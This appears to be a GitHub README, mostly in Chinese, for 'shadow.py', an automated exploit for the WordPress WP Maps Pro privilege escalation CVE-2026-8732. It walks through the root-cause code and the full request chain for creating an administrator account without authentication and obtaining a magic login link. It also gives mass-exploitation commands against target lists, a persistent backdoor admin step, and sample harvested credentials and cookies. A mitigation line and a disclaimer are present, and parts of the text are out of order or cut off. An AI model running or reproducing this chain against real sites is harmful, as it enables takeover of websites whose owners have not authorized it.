xShadow-Here/CVE-2026-8732
GitHub: xShadow-Here/CVE-2026-8732
针对 WordPress WP Maps Pro ≤ 6.1.0 的未认证权限提升漏洞(CVE-2026-8732)提供完整的自动化利用链与批量扫描能力。
Stars: 0 | Forks: 1
## 📋 漏洞信息
{"username":"backdoor","password":"...","roles":["administrator"]}
│
▼
[Persistent Backdoor Created] 😈
```
## 🛠️ 工具
### `shadow.py` — 完整漏洞利用链
支持单目标或批量漏洞利用。
```
# 交互式
python3 shadow.py
# 单个目标
python3 shadow.py -u https://target.com
# Mass exploit
python3 shadow.py -f targets.txt -t 20
```
**漏洞利用阶段:**
```
Phase 1 ▶ Plugin & Feature Detection
Phase 2 ▶ Nonce Scan (parallel crawler)
Phase 3 ▶ Admin Creation via AJAX
Phase 4 ▶ Magic Login (wp_set_auth_cookie)
Phase 5 ▶ Persistent Backdoor (REST API)
```
**输出 (`pwned.txt`):**
```
1.
=======================================================
Target : https://target.com/wp-admin/
User : shadow_xxxxx
Pass : Xk9#mQ2pLrTv8nYw
Email : xxxxx@xxxx.com
Magic : https://target.com/wp-admin/?wpgmp_token=...
=======================================================
Cookies :
=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================
```
## 🔒 缓解措施
将 WP Maps Pro 更新到 **6.1.1** 或更高版本。
| 字段 | 详情 |
|-------|---------|
| **CVE ID** | CVE-2026-8732 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **类型** | 关键功能缺少身份验证 |
| **Plugin** | WP Maps Pro (`wp-google-map-gold`) |
| **受影响版本** | 所有版本 ≤ 6.1.0 |
| **已修复版本** | 6.1.1 |
| **发布日期** | 2026年5月28日 |
| **研究者** | [David Brown](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/david-brown) |
| **PoC** | Shadow & Friska 😈 |
## 🔍 漏洞描述
WordPress 的 **WP Maps Pro** 插件存在**通过创建管理员账户实现未经身份验证的权限提升**漏洞。
`wpgmp_temp_access_ajax` AJAX action 通过 `wp_ajax_nopriv_` 注册,并且仅受到使用 `fc-call-nonce` nonce 的校验保护——而该 nonce 通过 `wp_localize_script` 作为 `wpgmp_local` JavaScript 对象的 `nonce` 字段**被公开嵌入到每个前端页面中**。
这使得 nonce 校验作为一种访问控制机制**完全失效**,允许未经身份验证的攻击者:
1. 从任何公开页面提取 nonce
2. 调用 `wpgmp_temp_access_support` 处理程序并传入 `check_temp=false`
3. 触发无条件创建新的 WordPress **管理员**账户
4. 接收一个调用 `wp_set_auth_cookie()` 的魔法登录 URL —— 授予完整的管理员访问权限
5. 创建一个持久化的后门账户
## 🧬 根本原因分析
### 1. Hook 注册在 `is_admin()` 代码块内 —— 但对于 AJAX 来说 `is_admin()` 始终为 True
```
// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = TRUE for all admin-ajax.php requests!
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}
```
### 2. Nonce 暴露给每个前端页面
```
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← LEAKED to public HTML!
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
```
任何访问者都可以从页面源码中读取 nonce。WordPress nonce 是 CSRF token —— 而不是身份验证 token。
### 3. AJAX 回调中没有能力检查
```
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← bypassed via public nonce
// NO current_user_can() check!
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
```
### 4. 无条件创建管理员账户
```
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // random username
$email = 'support@flippercode.com'; // hardcoded email
$role = 'administrator'; // hardcoded role ← ROOT CAUSE
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← magic URL returned to attacker!
}
}
```
### 5. 通过 `init` Hook 实现魔法登录 —— 无过期时间,非一次性使用
```
// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() ); // ← REDIRECT TO DASHBOARD
```
## ⚔️ 攻击链
```
[Unauthenticated Attacker]
│
▼
GET /any-page/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
│
▼
GET /wp-admin/?wpgmp_token=<128-hex>
← wp_set_auth_cookie() fired
← 302 → /wp-admin/
│
▼
[Full Administrator Access] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce:
**[shadow ♡ friska]** — 仅供教育和授权的安全研究使用
标签:Web安全, WordPress, 协议分析, 安全漏洞, 文件完整性监控, 权限提升, 蓝队分析, 逆向工具